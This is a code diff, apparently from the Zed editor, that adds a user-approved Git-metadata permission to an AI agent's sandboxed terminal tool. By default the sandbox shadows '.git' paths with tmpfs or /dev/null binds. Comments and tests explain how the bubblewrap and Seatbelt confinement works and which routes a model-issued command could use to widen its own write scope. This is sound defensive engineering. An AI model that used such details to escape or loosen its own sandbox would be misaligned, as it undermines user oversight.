+    /// `allow_fs_write_all`, `allow_git_access`); use this only when the command
+    /// needs behavior the sandbox can't grant on a per-permission basis.
+    /// Requesting it triggers a user approval prompt.
     #[cfg_attr(
         target_os = "windows",
         doc = "\nOn Windows, running unsandboxed also switches the shell. Sandboxed \
@@ -180,8 +188,9 @@ pub struct SandboxedTerminalToolInput {
     #[serde(default)]
     pub unsandboxed: Option<bool>,
     /// A short justification for why this command needs the sandbox
-    /// permission(s) it requests (`allow_network`, `fs_write_paths`,
-    /// `allow_fs_write_all`, or `unsandboxed`).
+    /// permission(s) it requests (`allow_hosts`, `allow_all_hosts`,
+    /// `fs_write_paths`, `allow_fs_write_all`, `allow_git_access`, or
+    /// `unsandboxed`).
     ///
     /// Required whenever you request any of those permissions; omit it for
     /// ordinary commands that request none. Write it in your own voice — it
@@ -197,6 +206,7 @@ struct TerminalSandboxInput {
     allow_all_hosts: Option<bool>,
     fs_write_paths: Vec<String>,
     allow_fs_write_all: Option<bool>,
+    allow_git_access: Option<bool>,
     unsandboxed: Option<bool>,
     reason: Option<String>,
 }
@@ -239,6 +249,7 @@ impl From<SandboxedTerminalToolInput> for TerminalToolRequest {
                 allow_all_hosts: input.allow_all_hosts,
                 fs_write_paths: input.fs_write_paths,
                 allow_fs_write_all: input.allow_fs_write_all,
+                allow_git_access: input.allow_git_access,
                 unsandboxed: input.unsandboxed,
                 reason: input.reason,
             }),
@@ -382,6 +393,7 @@ async fn run_terminal_tool(
 
     authorize.await.map_err(|e| e.to_string())?;
 
+    let want_git_access = sandboxing && sandbox_input.allow_git_access == Some(true);
     let want_fs_write_all = sandboxing && sandbox_input.allow_fs_write_all == Some(true);
     let want_unsandboxed = sandboxing && sandbox_input.unsandboxed == Some(true);
 
@@ -441,6 +453,7 @@ async fn run_terminal_tool(
 
     let request = crate::sandboxing::SandboxRequest {
         network,
+        allow_git_access: !want_unsandboxed && want_git_access,
         allow_fs_write_all: !want_unsandboxed && want_fs_write_all,
         unsandboxed: want_unsandboxed,
         write_paths,
@@ -510,16 +523,14 @@ async fn run_terminal_tool(
             None
         } else {
             let effective = event_stream.effective_sandbox_request(&request, &sandbox_permissions);
-            let writable_paths: Vec<PathBuf> = cx.update(|cx| {
-                project
-                    .read(cx)
-                    .worktrees(cx)
-                    .map(|w| w.read(cx).abs_path().to_path_buf())
-                    .collect::<Vec<_>>()
-            });
+            let sandbox_paths =
+                cx.update(|cx| sandbox_paths(project.read(cx), effective.allow_git_access, cx));
             let wrap = acp_thread::SandboxWrap {
-                writable_paths,
+                writable_paths: sandbox_paths.writable_paths,
                 extra_write_paths: effective.write_paths,
+                protected_paths: sandbox_paths.protected_paths,
+                allowed_unix_socket_paths: Vec::new(),
+                allow_git_access: effective.allow_git_access,
                 network: network_request_to_sandbox_network_access(&effective.network),
                 allow_fs_write: effective.allow_fs_write_all,
                 is_local: is_local_project,
@@ -969,6 +980,9 @@ fn sandbox_approval_title(request: &crate::sandboxing::SandboxRequest) -> String
     if let Some(network_clause) = network_clause(&request.network) {
         parts.push(network_clause);
     }
+    if request.allow_git_access {
+        parts.push("Git metadata access".to_string());
+    }
     if request.allow_fs_write_all {
         parts.push("unrestricted filesystem writes".to_string());
     } else if !request.write_paths.is_empty() {
@@ -1166,6 +1180,59 @@ fn process_content(
     content
 }
 
+struct SandboxPaths {
+    writable_paths: Vec<PathBuf>,
+    protected_paths: Vec<PathBuf>,
+}
+
+fn sandbox_paths(project: &Project, allow_git_access: bool, cx: &App) -> SandboxPaths {
+    let mut writable_paths = Vec::new();
+    let mut git_paths = Vec::new();
+
+    for worktree in project.worktrees(cx) {
+        let worktree = worktree.read(cx);
+        let worktree_abs_path = worktree.abs_path();
+        writable_paths.push(worktree_abs_path.to_path_buf());
+        // Protect `<worktree>/.git` even when it doesn't exist yet, so a command
+        // can't `git init` and then write to the freshly created metadata.
+        git_paths.push(worktree_abs_path.join(".git"));
+
+        // `Worktree` derefs to `Snapshot`; read the field directly instead of
+        // cloning the whole snapshot just for this path.
+        if let Some(root_repo_common_dir) = worktree.root_repo_common_dir() {
+            git_paths.push(root_repo_common_dir.to_path_buf());
+        }
+    }
+
+    // `Repository` derefs to `RepositorySnapshot`, so read the few path fields
+    // directly rather than cloning the entire snapshot (which carries the
+    // per-path status tree) for each repository.
+    for repository in project.git_store().read(cx).repositories().values() {
+        let repository = repository.read(cx);
+        git_paths.push(repository.dot_git_abs_path.to_path_buf());
+        git_paths.push(repository.repository_dir_abs_path.to_path_buf());
+        git_paths.push(repository.common_dir_abs_path.to_path_buf());
+    }
+
+    git_paths.sort();
+    git_paths.dedup();
+
+    let protected_paths = if allow_git_access {
+        writable_paths.extend(git_paths);
+        Vec::new()
+    } else {
+        git_paths
+    };
+
+    writable_paths.sort();
+    writable_paths.dedup();
+
+    SandboxPaths {
+        writable_paths,
+        protected_paths,
+    }
+}
+
 fn working_dir(cd: &str, project: &Entity<Project>, cx: &mut App) -> Result<Option<PathBuf>> {
     let project = project.read(cx);
 
@@ -1203,6 +1270,7 @@ fn working_dir(cd: &str, project: &Entity<Project>, cx: &mut App) -> Result<Opti
 #[cfg(test)]
 mod tests {
     use super::*;
+    use fs::Fs;
 
     #[test]
     fn test_initial_title_shows_full_multiline_command() {
@@ -1234,6 +1302,91 @@ mod tests {
         )
     }
 
+    #[gpui::test]
+    async fn test_sandbox_paths_protect_git_paths_until_git_access_is_allowed(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        crate::tests::init_test(cx);
+
+        let fs = fs::FakeFs::new(cx.executor());
+        fs.insert_tree(
+            "/main_repo",
+            serde_json::json!({
+                ".git": {},
+                "file.txt": "content",
+            }),
+        )
+        .await;
+        fs.add_linked_worktree_for_repo(
+            Path::new("/main_repo/.git"),
+            false,
+            git::repository::Worktree {
+                path: PathBuf::from("/linked_worktree"),
+                ref_name: Some("refs/heads/feature".into()),
+                sha: "abc123".into(),
+                is_main: false,
+                is_bare: false,
+            },
+        )
+        .await;
+        fs.write(Path::new("/linked_worktree/file.txt"), b"content")
+            .await
+            .expect("linked worktree file should be written");
+
+        let project = project::Project::test(fs, [Path::new("/linked_worktree")], cx).await;
+        let paths_without_git_access = cx.update(|cx| sandbox_paths(project.read(cx), false, cx));
+
+        assert!(
+            paths_without_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/linked_worktree"))
+        );
+        assert!(
+            paths_without_git_access
+                .protected_paths
+                .contains(&PathBuf::from("/linked_worktree/.git"))
+        );
+        assert!(
+            !paths_without_git_access
+                .protected_paths
+                .contains(&PathBuf::from("/linked_worktree/.gitignore"))
+        );
+        assert!(
+            paths_without_git_access
+                .protected_paths
+                .contains(&PathBuf::from("/main_repo/.git"))
+        );
+        assert!(
+            paths_without_git_access
+                .protected_paths
+                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
+        );
+
+        let paths_with_git_access = cx.update(|cx| sandbox_paths(project.read(cx), true, cx));
+
+        assert!(paths_with_git_access.protected_paths.is_empty());
+        assert!(
+            paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/linked_worktree"))
+        );
+        assert!(
+            paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/linked_worktree/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/main_repo/.git"))
+        );
+        assert!(
+            paths_with_git_access
+                .writable_paths
+                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
+        );
+    }
+
     #[test]
     fn test_process_content_user_stopped() {
         let output = acp::TerminalOutputResponse::new("partial output".to_string(), false);
@@ -2760,6 +2913,7 @@ mod tests {
     ) -> crate::sandboxing::SandboxRequest {
         crate::sandboxing::SandboxRequest {
             network,
+            allow_git_access: false,
             allow_fs_write_all: all,
             unsandboxed: false,
             write_paths: paths.iter().map(PathBuf::from).collect(),
@@ -2922,6 +3076,10 @@ mod tests {
             schema.contains("allow_fs_write_all"),
             "schema should advertise allow_fs_write_all: {schema}"
         );
+        assert!(
+            schema.contains("allow_git_access"),
+            "schema should advertise allow_git_access: {schema}"
+        );
         assert!(
             schema.contains("unsandboxed"),
             "schema should advertise unsandboxed: {schema}"
@@ -2943,6 +3101,7 @@ mod tests {
         assert_eq!(input.allow_all_hosts, None);
         assert!(input.fs_write_paths.is_empty());
         assert_eq!(input.allow_fs_write_all, None);
+        assert_eq!(input.allow_git_access, None);
         assert_eq!(input.unsandboxed, None);
     }
 
@@ -3002,6 +3161,7 @@ mod tests {
                 .expect("legacy allow_fs_write should request sandbox authorization details");
         assert!(details.network_hosts.is_empty());
         assert!(!details.network_all_hosts);
+        assert!(!details.allow_git_access);
         assert!(details.allow_fs_write_all);
         assert!(!details.unsandboxed);
         assert!(details.write_paths.is_empty());
@@ -3100,6 +3260,7 @@ mod tests {
                 .expect("unsandboxed should request sandbox authorization details");
         assert!(details.network_hosts.is_empty());
         assert!(!details.network_all_hosts);
+        assert!(!details.allow_git_access);
         assert!(!details.allow_fs_write_all);
         assert!(details.unsandboxed);
         assert!(details.write_paths.is_empty());
@@ -3297,6 +3458,13 @@ mod tests {
             sandbox_approval_title(&sandbox_request(NetworkRequest::None, true, &[])),
             "Allow unrestricted filesystem writes?"
         );
+
+        let mut request = sandbox_request(NetworkRequest::AnyHost, false, &[]);
+        request.allow_git_access = true;
+        assert_eq!(
+            sandbox_approval_title(&request),
+            "Allow arbitrary network access and Git metadata access?"
+        );
     }
 
     #[test]
diff --git a/crates/agent_settings/src/agent_settings.rs b/crates/agent_settings/src/agent_settings.rs
index 90bec4464007cc..9b7970ba2cc1d1 100644
--- a/crates/agent_settings/src/agent_settings.rs
+++ b/crates/agent_settings/src/agent_settings.rs
@@ -421,6 +421,8 @@ pub struct SandboxPermissions {
     /// hostnames or leading-`*.` subdomain wildcards). Parsed/validated where
     /// consumed (`agent::sandboxing`).
     pub network_hosts: Vec<String>,
+    /// Allow sandboxed commands to access protected Git metadata paths.
+    pub allow_git_access: bool,
     pub allow_fs_write_all: bool,
     /// Persistently run agent terminal commands outside the OS sandbox. This is
     /// the model-facing "off switch": when set, the sandboxed terminal tool is
@@ -814,6 +816,7 @@ fn compile_sandbox_permissions(
     SandboxPermissions {
         allow_all_hosts: content.allow_all_hosts.unwrap_or(false),
         network_hosts,
+        allow_git_access: content.allow_git_access.unwrap_or(false),
         allow_fs_write_all: content.allow_fs_write_all.unwrap_or(false),
         allow_unsandboxed: content.allow_unsandboxed.unwrap_or(false),
         write_paths,
@@ -1101,6 +1104,7 @@ mod tests {
         let json = json!({
             "allow_all_hosts": true,
             "network_hosts": ["github.com", "*.npmjs.org"],
+            "allow_git_access": true,
             "allow_unsandboxed": true,
             "write_paths": [
                 "/tmp/build/cache",
@@ -1117,6 +1121,7 @@ mod tests {
             permissions.network_hosts,
             vec!["github.com".to_string(), "*.npmjs.org".to_string()]
         );
+        assert!(permissions.allow_git_access);
         assert!(!permissions.allow_fs_write_all);
         assert!(permissions.allow_unsandboxed);
         assert_eq!(
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index b6fbcdefdabb2d..d0e17015b0c131 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -7928,12 +7928,14 @@ impl ThreadView {
         cx: &Context<Self>,
     ) -> AnyElement {
         let has_network = details.network_all_hosts || !details.network_hosts.is_empty();
+        let has_git_access = details.allow_git_access;
         let command = details
             .command
             .as_deref()
             .filter(|command| !command.is_empty());
         if details.write_paths.is_empty()
             && !has_network
+            && !has_git_access
             && command.is_none()
             && details.reason.is_empty()
         {
@@ -8044,6 +8046,34 @@ impl ThreadView {
                 })
         });
 
+        let git_access_section = has_git_access.then(|| {
+            v_flex()
+                .p_1()
+                .gap_0p5()
+                .child(
+                    h_flex()
+                        .gap_1()
+                        .child(
+                            Icon::new(IconName::GitBranch)
+                                .color(Color::Muted)
+                                .size(IconSize::Small),
+                        )
+                        .child(
+                            Label::new("Git metadata access")
+                                .size(LabelSize::Small)
+                                .color(Color::Muted),
+                        ),
+                )
+                .child(
+                    Label::new(
+                        "Allows reading and writing .git directories, which may include repositories outside this project, and exposes the inherited SSH agent for commit signing.",
+                    )
+                    .size(LabelSize::XSmall)
+                    .color(Color::Muted),
+                )
+                .into_any_element()
+        });
+
         if details.write_paths.is_empty() {
             return v_flex()
                 .border_t_1()
@@ -8054,6 +8084,7 @@ impl ThreadView {
                     ))
                 })
                 .children(network_section)
+                .children(git_access_section)
                 .into_any_element();
         }
 
@@ -8072,6 +8103,7 @@ impl ThreadView {
                 ))
             })
             .children(network_section)
+            .children(git_access_section)
             .child(
                 h_flex()
                     .id(("sandbox-authorization-details-header", entry_ix))
diff --git a/crates/sandbox/src/bwrap_test_helper.rs b/crates/sandbox/src/bwrap_test_helper.rs
index 021fa6df0582a8..7a5e962fb9e385 100644
--- a/crates/sandbox/src/bwrap_test_helper.rs
+++ b/crates/sandbox/src/bwrap_test_helper.rs
@@ -116,6 +116,8 @@ mod imp {
             Some(channel.name()),
             permissions,
             writable_dirs,
+            &[],
+            &[],
             cwd,
             program,
             args,
diff --git a/crates/sandbox/src/linux_bubblewrap.rs b/crates/sandbox/src/linux_bubblewrap.rs
index 254f9f9602ef88..d20790b6f3f21a 100644
--- a/crates/sandbox/src/linux_bubblewrap.rs
+++ b/crates/sandbox/src/linux_bubblewrap.rs
@@ -294,8 +294,22 @@ fn probe_bwrap(bwrap: &Path, bwrap_args: &[String]) -> bool {
 /// `writable_directories` should be the project's worktree paths (plus any
 /// user-approved paths), *not* the command's working directory, which is
 /// model-controlled and would let the model widen its own writable scope.
+///
+/// `protected_paths` are paths whose contents must stay inaccessible even when
+/// they sit under a writable directory or the root is bound read-write (e.g.
+/// `.git` metadata when Git access hasn't been approved). Each is shadowed: a
+/// directory with an ephemeral `tmpfs` (real contents hidden, writes land in
+/// throwaway storage) and a file with an empty read-only bind of `/dev/null`.
+///
+/// `allowed_unix_socket_paths` are Unix domain sockets to re-expose on top of
+/// any overlay that would otherwise hide them (notably `--tmpfs /tmp`), so
+/// local IPC such as the inherited SSH agent socket keeps working. AF_UNIX
+/// connectivity is unaffected by `--unshare-net`, so this grants no IP network
+/// access.
 pub fn build_bwrap_args(
     writable_directories: &[&Path],
+    protected_paths: &[&Path],
+    allowed_unix_socket_paths: &[&Path],
     permissions: SandboxPermissions,
     cwd: Option<&Path>,
 ) -> Vec<String> {
@@ -335,6 +349,51 @@ pub fn build_bwrap_args(
         }
     }
 
+    // Shadow protected paths last among the filesystem binds so the overlay
+    // wins over the root bind and any writable bind above it. Unlike the macOS
+    // Seatbelt policy (which denies `file-read-data` while leaving metadata
+    // readable), bwrap hides the real contents entirely behind an empty
+    // overlay; the security goal — keeping the real path unreadable and
+    // unwritable — is the same.
+    for protected_path in protected_paths {
+        // Resolve through an existing parent when the leaf is missing so a
+        // not-yet-created `.git` (before `git init`) overlays the same real path
+        // the writable bind above uses, even on a symlinked root.
+        let canonical = crate::canonicalize_allowing_missing_leaf(protected_path);
+        let destination = canonical.to_string_lossy().into_owned();
+        match std::fs::symlink_metadata(&canonical) {
+            Ok(metadata) if metadata.is_dir() => {
+                args.push("--tmpfs".to_string());
+                args.push(destination);
+            }
+            Ok(_) => {
+                // A file (e.g. a linked worktree's `.git` gitlink): mask it
+                // with an empty, read-only `/dev/null`.
+                push_bind(&mut args, "--ro-bind", "/dev/null", &destination);
+            }
+            Err(_) => {
+                // Doesn't exist yet: still overlay a tmpfs so a command can't
+                // `git init` and write real metadata into a writable worktree.
+                args.push("--tmpfs".to_string());
+                args.push(destination);
+            }
+        }
+    }
+
+    // Re-expose explicitly allowed Unix domain sockets on top of any overlay
+    // that would otherwise hide them. Done after the protected overlays and the
+    // `/tmp` tmpfs so the socket always wins.
+    for socket_path in allowed_unix_socket_paths {
+        let canonical = socket_path
+            .canonicalize()
+            .unwrap_or_else(|_| socket_path.to_path_buf());
+        if !canonical.exists() {
+            continue;
+        }
+        let path = canonical.to_string_lossy().into_owned();
+        push_bind(&mut args, "--bind", &path, &path);
+    }
+
     for flag in [
         "--unshare-user",
         "--unshare-ipc",
@@ -392,6 +451,8 @@ struct LauncherInvocation {
     permissions: SandboxPermissions,
     cwd: Option<PathBuf>,
     writable_dirs: Vec<PathBuf>,
+    protected_paths: Vec<PathBuf>,
+    allowed_unix_socket_paths: Vec<PathBuf>,
     program: OsString,
     args: Vec<OsString>,
 }
@@ -405,18 +466,29 @@ struct LauncherInvocation {
 /// `status_socket_name` (when given).
 ///
 /// The encoding is positional, one value per argv entry, so paths and
-/// arguments containing spaces round-trip without escaping:
-/// `[FLAG, socket, allow_network, allow_fs_write, cwd, N, writable_1.., program, args..]`.
+/// arguments containing spaces round-trip without escaping. Each path list is a
+/// count followed by that many entries:
+/// `[FLAG, socket, allow_network, allow_fs_write, cwd,
+///   N_writable, writable.., N_protected, protected.., N_sockets, sockets..,
+///   program, args..]`.
 pub fn wrap_invocation(
     launcher_program: &str,
     status_socket_name: Option<&str>,
     permissions: SandboxPermissions,
     writable_dirs: &[&Path],
+    protected_paths: &[&Path],
+    allowed_unix_socket_paths: &[&Path],
     cwd: Option<&Path>,
     program: &str,
     args: &[String],
 ) -> (String, Vec<String>) {
-    let mut launcher_args = Vec::with_capacity(writable_dirs.len() + args.len() + 7);
+    let mut launcher_args = Vec::with_capacity(
+        writable_dirs.len()
+            + protected_paths.len()
+            + allowed_unix_socket_paths.len()
+            + args.len()
+            + 9,
+    );
     launcher_args.push(SANDBOX_LAUNCHER_FLAG.to_string());
     launcher_args.push(status_socket_name.unwrap_or("").to_string());
     launcher_args.push(encode_bool(permissions.allow_network));
@@ -425,15 +497,22 @@ pub fn wrap_invocation(
         cwd.map(|cwd| cwd.to_string_lossy().into_owned())
             .unwrap_or_default(),
     );
-    launcher_args.push(writable_dirs.len().to_string());
-    for directory in writable_dirs {
-        launcher_args.push(directory.to_string_lossy().into_owned());
-    }
+    push_path_list(&mut launcher_args, writable_dirs);
+    push_path_list(&mut launcher_args, protected_paths);
+    push_path_list(&mut launcher_args, allowed_unix_socket_paths);
     launcher_args.push(program.to_string());
     launcher_args.extend(args.iter().cloned());
     (launcher_program.to_string(), launcher_args)
 }
 
+/// Encode a path list as a count followed by one argv entry per path.
+fn push_path_list(launcher_args: &mut Vec<String>, paths: &[&Path]) {
+    launcher_args.push(paths.len().to_string());
+    for path in paths {
+        launcher_args.push(path.to_string_lossy().into_owned());
+    }
+}
+
 /// If this process was re-executed as a sandbox launcher (its first argument
 /// is [`SANDBOX_LAUNCHER_FLAG`]), set up the sandbox and `exec` the wrapped
 /// command. This never returns when the marker is present.
@@ -473,19 +552,34 @@ fn run_launcher(invocation: LauncherInvocation) -> ! {
         .iter()
         .map(PathBuf::as_path)
         .collect();
+    let protected: Vec<&Path> = invocation
+        .protected_paths
+        .iter()
+        .map(PathBuf::as_path)
+        .collect();
+    let allowed_unix_sockets: Vec<&Path> = invocation
+        .allowed_unix_socket_paths
+        .iter()
+        .map(PathBuf::as_path)
+        .collect();
 
-    let (bwrap, bwrap_args) =
-        match prepare_sandbox(&writable, invocation.permissions, invocation.cwd.as_deref()) {
-            Ok(prepared) => prepared,
-            Err(status) => {
-                report_status(socket.as_deref(), status);
-                eprintln!(
-                    "zed: could not create sandbox: {}; aborting",
-                    status.describe()
-                );
-                std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
-            }
-        };
+    let (bwrap, bwrap_args) = match prepare_sandbox(
+        &writable,
+        &protected,
+        &allowed_unix_sockets,
+        invocation.permissions,
+        invocation.cwd.as_deref(),
+    ) {
+        Ok(prepared) => prepared,
+        Err(status) => {
+            report_status(socket.as_deref(), status);
+            eprintln!(
+                "zed: could not create sandbox: {}; aborting",
+                status.describe()
+            );
+            std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+        }
+    };
 
     // Everything is in place: report success, then `exec` the sandboxed command.
     // A failure of the final `exec` is fail-closed (a hard error, never a silent
@@ -512,6 +606,8 @@ fn run_launcher(invocation: LauncherInvocation) -> ! {
 /// fall back to an unsandboxed run).
 fn prepare_sandbox(
     writable_dirs: &[&Path],
+    protected_paths: &[&Path],
+    allowed_unix_socket_paths: &[&Path],
     permissions: SandboxPermissions,
     cwd: Option<&Path>,
 ) -> Result<(PathBuf, Vec<String>), LauncherStatus> {
@@ -520,7 +616,13 @@ fn prepare_sandbox(
         BwrapLocation::OnlySetuid => return Err(LauncherStatus::SetuidRejected),
         BwrapLocation::NotFound => return Err(LauncherStatus::BwrapNotFound),
     };
-    let bwrap_args = build_bwrap_args(writable_dirs, permissions, cwd);
+    let bwrap_args = build_bwrap_args(
+        writable_dirs,
+        protected_paths,
+        allowed_unix_socket_paths,
+        permissions,
+        cwd,
+    );
     if !probe_bwrap(&bwrap, &bwrap_args) {
         return Err(LauncherStatus::SandboxProbeFailed);
     }
@@ -537,10 +639,19 @@ fn prepare_sandbox(
 /// never silently skipped on the strength of this result alone.
 pub fn check_can_create_sandbox(
     writable_dirs: &[&Path],
+    protected_paths: &[&Path],
+    allowed_unix_socket_paths: &[&Path],
     permissions: SandboxPermissions,
     cwd: Option<&Path>,
 ) -> std::result::Result<(), LauncherStatus> {
-    prepare_sandbox(writable_dirs, permissions, cwd).map(|_| ())
+    prepare_sandbox(
+        writable_dirs,
+        protected_paths,
+        allowed_unix_socket_paths,
+        permissions,
+        cwd,
+    )
+    .map(|_| ())
 }
 
 /// Send a one-shot `status` datagram to the status channel (if one was given).
@@ -599,19 +710,9 @@ fn decode_launcher_args(mut args: impl Iterator<Item = OsString>) -> Result<Laun
             Some(PathBuf::from(value))
         }
     };
-    let count = args
-        .next()
-        .context("missing writable directory count")?
-        .to_str()
-        .context("writable directory count is not valid UTF-8")?
-        .parse::<usize>()
-        .context("invalid writable directory count")?;
-    let mut writable_dirs = Vec::with_capacity(count);
-    for _ in 0..count {
-        writable_dirs.push(PathBuf::from(
-            args.next().context("missing writable directory")?,
-        ));
-    }
+    let writable_dirs = decode_path_list(&mut args, "writable directory")?;
+    let protected_paths = decode_path_list(&mut args, "protected path")?;
+    let allowed_unix_socket_paths = decode_path_list(&mut args, "allowed unix socket")?;
     let program = args.next().context("missing program to run")?;
     let args: Vec<OsString> = args.collect();
 
@@ -623,11 +724,33 @@ fn decode_launcher_args(mut args: impl Iterator<Item = OsString>) -> Result<Laun
         },
         cwd,
         writable_dirs,
+        protected_paths,
+        allowed_unix_socket_paths,
         program,
         args,
     })
 }
 
+/// Decode a path list (a count followed by that many entries) produced by
+/// [`push_path_list`]. `what` names the list for error messages.
+fn decode_path_list(args: &mut impl Iterator<Item = OsString>, what: &str) -> Result<Vec<PathBuf>> {
+    let count = args
+        .next()
+        .with_context(|| format!("missing {what} count"))?
+        .to_str()
+        .with_context(|| format!("{what} count is not valid UTF-8"))?
+        .parse::<usize>()
+        .with_context(|| format!("invalid {what} count"))?;
+    let mut paths = Vec::with_capacity(count);
+    for _ in 0..count {
+        paths.push(PathBuf::from(
+            args.next()
+                .with_context(|| format!("missing {what} entry"))?,
+        ));
+    }
+    Ok(paths)
+}
+
 fn encode_bool(value: bool) -> String {
     if value { "1" } else { "0" }.to_string()
 }
@@ -685,6 +808,8 @@ mod tests {
         let writable = tempfile::tempdir().unwrap();
         let args = build_bwrap_args(
             &[writable.path()],
+            &[],
+            &[],
             SandboxPermissions::default(),
             Some(writable.path()),
         );
@@ -705,10 +830,12 @@ mod tests {
 
     #[test]
     fn test_build_bwrap_args_network_namespace_follows_permission() {
-        let denied = build_bwrap_args(&[], SandboxPermissions::default(), None);
+        let denied = build_bwrap_args(&[], &[], &[], SandboxPermissions::default(), None);
         assert!(denied.iter().any(|arg| arg == "--unshare-net"));
 
         let allowed = build_bwrap_args(
+            &[],
+            &[],
             &[],
             SandboxPermissions {
                 allow_network: true,
@@ -725,7 +852,7 @@ mod tests {
             allow_network: false,
             allow_fs_write: true,
         };
-        let args = build_bwrap_args(&[], permissions, None);
+        let args = build_bwrap_args(&[], &[], &[], permissions, None);
         assert!(windows_contains(&args, &["--bind", "/", "/"]));
         assert!(!windows_contains(&args, &["--ro-bind", "/", "/"]));
         // With unrestricted writes the host's real `/tmp` stays writable, so
@@ -733,6 +860,95 @@ mod tests {
         assert!(!windows_contains(&args, &["--tmpfs", "/tmp"]));
     }
 
+    #[test]
+    fn test_build_bwrap_args_shadows_protected_directory_with_tmpfs() {
+        let project = tempfile::tempdir().unwrap();
+        let git_dir = project.path().join(".git");
+        std::fs::create_dir(&git_dir).unwrap();
+
+        let args = build_bwrap_args(
+            &[project.path()],
+            &[git_dir.as_path()],
+            &[],
+            SandboxPermissions::default(),
+            None,
+        );
+
+        let git_canonical = git_dir.canonicalize().unwrap();
+        let git_str = git_canonical.to_string_lossy().into_owned();
+        // The writable project is bound rw, then the `.git` directory is shadowed
+        // with a tmpfs on top so its real contents can't be read or written.
+        assert!(windows_contains(&args, &["--tmpfs", &git_str]));
+
+        let project_canonical = project.path().canonicalize().unwrap();
+        let project_str = project_canonical.to_string_lossy().into_owned();
+        let tmpfs_index = args
+            .windows(2)
+            .position(|w| w == ["--tmpfs".to_string(), git_str.clone()])
+            .unwrap();
+        let bind_index = args
+            .windows(3)
+            .position(|w| {
+                w == [
+                    "--bind".to_string(),
+                    project_str.clone(),
+                    project_str.clone(),
+                ]
+            })
+            .unwrap();
+        assert!(
+            bind_index < tmpfs_index,
+            "the protected tmpfs must be applied after the writable bind so it wins"
+        );
+    }
+
+    #[test]
+    fn test_build_bwrap_args_masks_protected_file_with_dev_null() {
+        let project = tempfile::tempdir().unwrap();
+        let gitlink = project.path().join(".git");
+        std::fs::write(&gitlink, "gitdir: /elsewhere\n").unwrap();
+
+        let args = build_bwrap_args(
+            &[project.path()],
+            &[gitlink.as_path()],
+            &[],
+            SandboxPermissions::default(),
+            None,
+        );
+
+        let gitlink_canonical = gitlink.canonicalize().unwrap();
+        let gitlink_str = gitlink_canonical.to_string_lossy().into_owned();
+        assert!(windows_contains(
+            &args,
+            &["--ro-bind", "/dev/null", &gitlink_str]
+        ));
+    }
+
+    #[test]
+    fn test_build_bwrap_args_rebinds_allowed_unix_socket() {
+        let dir = tempfile::tempdir().unwrap();
+        // `build_bwrap_args` only checks that the path exists, so a regular file
+        // stands in for a socket here (binding a real socket under a long temp
+        // path would overflow `sun_path`).
+        let socket = dir.path().join("agent.sock");
+        std::fs::write(&socket, b"").unwrap();
+
+        let args = build_bwrap_args(
+            &[],
+            &[],
+            &[socket.as_path()],
+            SandboxPermissions::default(),
+            None,
+        );
+
+        let socket_canonical = socket.canonicalize().unwrap();
+        let socket_str = socket_canonical.to_string_lossy().into_owned();
+        assert!(windows_contains(
+            &args,
+            &["--bind", &socket_str, &socket_str]
+        ));
+    }
+
     #[test]
     fn test_launcher_args_round_trip() {
         let writable = PathBuf::from("/home/user/project dir");
@@ -744,11 +960,15 @@ mod tests {
             allow_fs_write: false,
         };
 
+        let protected = PathBuf::from("/home/user/project dir/.git");
+        let socket = PathBuf::from("/tmp/ssh agent/sock");
         let (launcher, launcher_args) = wrap_invocation(
             "/path/to/zed",
             Some("zed-sandbox-status-abc"),
             permissions,
             &[writable.as_path()],
+            &[protected.as_path()],
+            &[socket.as_path()],
             Some(cwd.as_path()),
             &program,
             &args,
@@ -766,6 +986,8 @@ mod tests {
         assert_eq!(decoded.permissions, permissions);
         assert_eq!(decoded.cwd.as_deref(), Some(cwd.as_path()));
         assert_eq!(decoded.writable_dirs, vec![writable]);
+        assert_eq!(decoded.protected_paths, vec![protected]);
+        assert_eq!(decoded.allowed_unix_socket_paths, vec![socket]);
         assert_eq!(decoded.program, OsString::from(program));
         assert_eq!(
             decoded.args,
@@ -780,8 +1002,17 @@ mod tests {
             allow_network: true,
             allow_fs_write: true,
         };
-        let (launcher, launcher_args) =
-            wrap_invocation("/path/to/zed", None, permissions, &[], None, &program, &[]);
+        let (launcher, launcher_args) = wrap_invocation(
+            "/path/to/zed",
+            None,
+            permissions,
+            &[],
+            &[],
+            &[],
+            None,
+            &program,
+            &[],
+        );
 
         let decoded = parse_launcher_args(launcher_argv(launcher, launcher_args))
             .unwrap()
@@ -791,6 +1022,8 @@ mod tests {
         assert_eq!(decoded.permissions, permissions);
         assert_eq!(decoded.cwd, None);
         assert!(decoded.writable_dirs.is_empty());
+        assert!(decoded.protected_paths.is_empty());
+        assert!(decoded.allowed_unix_socket_paths.is_empty());
         assert_eq!(decoded.program, OsString::from("/bin/true"));
         assert!(decoded.args.is_empty());
     }
diff --git a/crates/sandbox/src/macos_seatbelt.rs b/crates/sandbox/src/macos_seatbelt.rs
index 52561db8e04895..a5f15384f0b2a3 100644
--- a/crates/sandbox/src/macos_seatbelt.rs
+++ b/crates/sandbox/src/macos_seatbelt.rs
@@ -16,8 +16,10 @@
 //!    under `sandbox-exec -f <config-path>`.
 //!
 //! Reads are permitted by default; writes are restricted to a caller-
-//! provided list of directories; network access and unrestricted writes
-//! must be opted into per command.
+//! provided list of directories; IP network access and unrestricted writes
+//! must be opted into per command. Callers may separately allow specific
+//! Unix domain sockets for local IPC; those do not permit sending packets to
+//! other machines.
 
 use std::path::Path;
 use std::{io::Write, path::PathBuf};
@@ -85,11 +87,29 @@ impl SeatbeltConfigFile {
     /// false. Pass the project's worktree paths here — not the working
     /// directory of the command, since that is model-controlled and would
     /// let the model widen its own writable scope.
-    pub fn new(writable_directories: &[&Path], permissions: SandboxPermissions) -> Result<Self> {
+    ///
+    /// `protected_paths` lists paths whose file data reads and writes should
+    /// be blocked even if they fall under a readable or writable directory.
+    /// File metadata remains readable.
+    ///
+    /// `allowed_unix_socket_paths` lists Unix domain sockets the command may
